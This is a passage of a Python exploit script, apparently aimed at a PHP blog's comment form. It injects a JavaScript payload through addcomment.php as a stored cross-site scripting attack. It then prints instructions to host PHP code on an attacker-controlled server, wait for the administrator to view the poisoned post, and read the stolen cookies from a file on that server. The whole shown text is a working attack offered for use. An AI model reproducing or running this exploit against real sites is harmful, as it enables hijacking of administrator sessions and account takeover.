headers = {'Content-type':'application/x-www-form-urlencoded','Accept':'text/plain'}
params = urllib.parse.urlencode({'commentAuthor':'admin','commentText':payload,'submitcomment':'Submit'})
con = http.client.HTTPConnection(victim)
con.request('POST', path + 'addcomment.php?postID=1', params, headers)
res = con.getresponse()
if res.status != 200:
return False
con.close()
return True
def exploit(victim, path, attacker):
print('[+] Injecting Javascript')
success = injectJavascript(victim, path, attacker)
if not success:
fatal('[!] Injection failed')
print('[+] Generating PHP code for malicious site\n')
print(getRemotePHPCode() + '\n')
print('[?] Instruction to use this exploit:')
print(' 1. Save the previous code in http://' + attacker + '/c.php')
print(' 2. Wait that the administrator visits ')
print(' http://'+ victim +'/'+ path +'viewpost.php?postID=1')
print(' 3. Read stolen cookies from http://'+ attacker +'/' + 'data.txt')
return